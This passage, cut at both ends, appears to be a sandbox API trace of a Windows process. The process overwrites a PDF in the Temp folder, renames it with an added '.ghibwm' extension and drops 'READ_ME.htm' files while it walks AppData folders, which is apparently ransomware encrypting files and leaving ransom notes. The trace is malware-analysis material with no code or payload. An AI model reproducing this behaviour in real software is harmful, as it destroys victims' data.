lpBuffer=0x29c0e80*, lpNumberOfBytesRead=0x21d358*=0x90d7, lpOverlapped=0x0) returned 1 [0147.306] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\dvwxkOLIiLo8iOIR.pdf", nBufferLength=0x105, lpBuffer=0x21ce20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\dvwxkOLIiLo8iOIR.pdf", lpFilePart=0x0) returned 0x3a [0147.306] SetErrorMode (uMode=0x1) returned 0x0 [0147.306] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\dvwxkOLIiLo8iOIR.pdf" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\dvwxkoliilo8ioir.pdf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0147.308] GetFileType (hFile=0x1d0) returned 0x1 [0147.308] SetErrorMode (uMode=0x0) returned 0x1 [0147.308] GetFileType (hFile=0x1d0) returned 0x1 [0147.308] WriteFile (in: hFile=0x1d0, lpBuffer=0x28d73c0*, nNumberOfBytesToWrite=0x90e0, lpNumberOfBytesWritten=0x21d3d8, lpOverlapped=0x0 | out: lpBuffer=0x28d73c0*, lpNumberOfBytesWritten=0x21d3d8*=0x90e0, lpOverlapped=0x0) returned 1 [0147.310] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\dvwxkOLIiLo8iOIR.pdf", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\dvwxkOLIiLo8iOIR.pdf", lpFilePart=0x0) returned 0x3a [0147.310] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\dvwxkOLIiLo8iOIR.pdf.ghibwm", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\dvwxkOLIiLo8iOIR.pdf.ghibwm", lpFilePart=0x0) returned 0x41 [0147.310] SetErrorMode (uMode=0x1) returned 0x0 [0147.310] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\dvwxkOLIiLo8iOIR.pdf" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\dvwxkoliilo8ioir.pdf"), fInfoLevelId=0x0, lpFileInformation=0x21d300 | out: lpFileInformation=0x21d300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa0b893d0, ftCreationTime.dwHighDateTime=0x1d8b9e5, ftLastAccessTime.dwLowDateTime=0xb1a0d780, ftLastAccessTime.dwHighDateTime=0x1d8bcaa, ftLastWriteTime.dwLowDateTime=0x544a07e0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x90e0)) returned 1 [0147.310] SetErrorMode (uMode=0x0) returned 0x1 [0147.311] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\dvwxkOLIiLo8iOIR.pdf" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\dvwxkoliilo8ioir.pdf"), lpNewFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\dvwxkOLIiLo8iOIR.pdf.ghibwm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\dvwxkoliilo8ioir.pdf.ghibwm")) returned 1 [0147.313] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt", lpFilePart=0x0) returned 0x3c [0147.313] SetErrorMode (uMode=0x1) returned 0x0 [0147.313] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\fxsapidebuglogfile.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0147.333] SetErrorMode (uMode=0x0) returned 0x1 [0147.336] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\READ_ME.htm", lpFilePart=0x0) returned 0x31 [0147.336] SetErrorMode (uMode=0x1) returned 0x0 [0147.336] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0147.337] GetFileType (hFile=0x1d0) returned 0x1 [0147.337] SetErrorMode (uMode=0x0) returned 0x1 [0147.337] GetFileType (hFile=0x1d0) returned 0x1 [0147.338] WriteFile (in: hFile=0x1d0, lpBuffer=0x28e55f0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x28e55f0*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0147.339] CloseHandle (hObject=0x1d0) returned 1 [0147.340] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temporary Internet Files", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temporary Internet Files", lpFilePart=0x0) returned 0x39 [0147.340] SetErrorMode (uMode=0x1) returned 0x0 [0147.340] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temporary Internet Files\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temporary internet files\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0147.343] SetErrorMode (uMode=0x0) returned 0x1 [0147.344] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temporary Internet Files\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temporary Internet Files\\READ_ME.htm", lpFilePart=0x0) returned 0x45 [0147.344] SetErrorMode (uMode=0x1) returned 0x0 [0147.344] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temporary Internet Files\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temporary internet files\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0147.347] GetFileType (hFile=0x1d0) returned 0x1 [0147.347] SetErrorMode (uMode=0x0) returned 0x1 [0147.347] GetFileType (hFile=0x1d0) returned 0x1 [0147.347] WriteFile (in: hFile=0x1d0, lpBuffer=0x28eb280*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x28eb280*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0147.348] CloseHandle (hObject=0x1d0) returned 1 [0147.349] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x2d [0147.349] SetErrorMode (uMode=0x1) returned 0x0 [0147.349] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\VirtualStore\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\virtualstore\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7b85dd30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7b85dd30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7b85dd30, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.349] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7b85dd30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7b85dd30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7b85dd30, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.350] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7b85dd30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7b85dd30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7b85dd30, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0147.350] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.350] SetErrorMode (uMode=0x0) returned 0x1 [0147.350] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x2d [0147.350] SetErrorMode (uMode=0x1) returned 0x0 [0147.350] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\VirtualStore\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\virtualstore\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7b85dd30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7b85dd30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7b85dd30, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.351] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7b85dd30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7b85dd30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7b85dd30, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.351] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7b85dd30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7b85dd30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7b85dd30, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0147.351] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.351] SetErrorMode (uMode=0x0) returned 0x1 [0147.351] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\VirtualStore\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\VirtualStore\\READ_ME.htm", lpFilePart=0x0) returned 0x39 [0147.352] SetErrorMode (uMode=0x1) returned 0x0 [0147.352] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\VirtualStore\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\virtualstore\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0147.352] GetFileType (hFile=0x1d0) returned 0x1 [0147.352] SetErrorMode (uMode=0x0) returned 0x1 [0147.352] GetFileType (hFile=0x1d0) returned 0x1 [0147.353] WriteFile (in: hFile=0x1d0, lpBuffer=0x28f0ed8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x28f0ed8*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0147.354] CloseHandle (hObject=0x1d0) returned 1 [0147.354] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\READ_ME.htm", lpFilePart=0x0) returned 0x2c [0147.354] SetErrorMode (uMode=0x1) returned 0x0 [0147.354] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0147.355] GetFileType (hFile=0x1d0) returned 0x1 [0147.355] SetErrorMode (uMode=0x0) returned 0x1 [0147.356] GetFileType (hFile=0x1d0) returned 0x1 [0147.356] WriteFile (in: hFile=0x1d0, lpBuffer=0x28f5458*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x28f5458*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0147.356] CloseHandle (hObject=0x1d0) returned 1 [0147.356] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow", lpFilePart=0x0) returned 0x23 [0147.357] SetErrorMode (uMode=0x1) returned 0x0 [0147.357] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7964c250, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x4ece2100, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x4ece2100, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.368] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7964c250, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x4ece2100, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x4ece2100, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.369] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796723b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x50fdc710, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x50fdc710, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0147.369] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x473ee320, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x473ee320, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x473ee320, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 1 [0147.369] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x473ee320, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x473ee320, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x473ee320, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 0 [0147.369] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.369] SetErrorMode (uMode=0x0) returned 0x1 [0147.369] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow", lpFilePart=0x0) returned 0x23 [0147.370] SetErrorMode (uMode=0x1) returned 0x0 [0147.370] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7964c250, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x4ece2100, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x4ece2100, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.370] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7964c250, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x4ece2100, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x4ece2100, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.370] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796723b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x50fdc710, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x50fdc710, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0147.370] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x473ee320, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x473ee320, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x473ee320, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 1 [0147.370] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x473ee320, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x473ee320, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x473ee320, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 0 [0147.371] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.371] SetErrorMode (uMode=0x0) returned 0x1 [0147.371] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Microsoft", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Microsoft", lpFilePart=0x0) returned 0x2d [0147.371] SetErrorMode (uMode=0x1) returned 0x0 [0147.371] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Microsoft\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\microsoft\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796723b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x50fdc710, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x50fdc710, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.371] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796723b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x50fdc710, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x50fdc710, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.372] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796723b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796723b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CryptnetUrlCache", cAlternateFileName="CRYPTN~1")) returned 1 [0147.372] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50fdc710, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0x50fdc710, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x50fdc710, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0147.372] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50fdc710, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0x50fdc710, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x50fdc710, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 0 [0147.372] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.372] SetErrorMode (uMode=0x0) returned 0x1 [0147.372] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Microsoft", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Microsoft", lpFilePart=0x0) returned 0x2d [0147.372] SetErrorMode (uMode=0x1) returned 0x0 [0147.373] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Microsoft\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\microsoft\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796723b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x50fdc710, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x50fdc710, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.373] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796723b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x50fdc710, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x50fdc710, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.373] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796723b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796723b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CryptnetUrlCache", cAlternateFileName="CRYPTN~1")) returned 1 [0147.373] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: 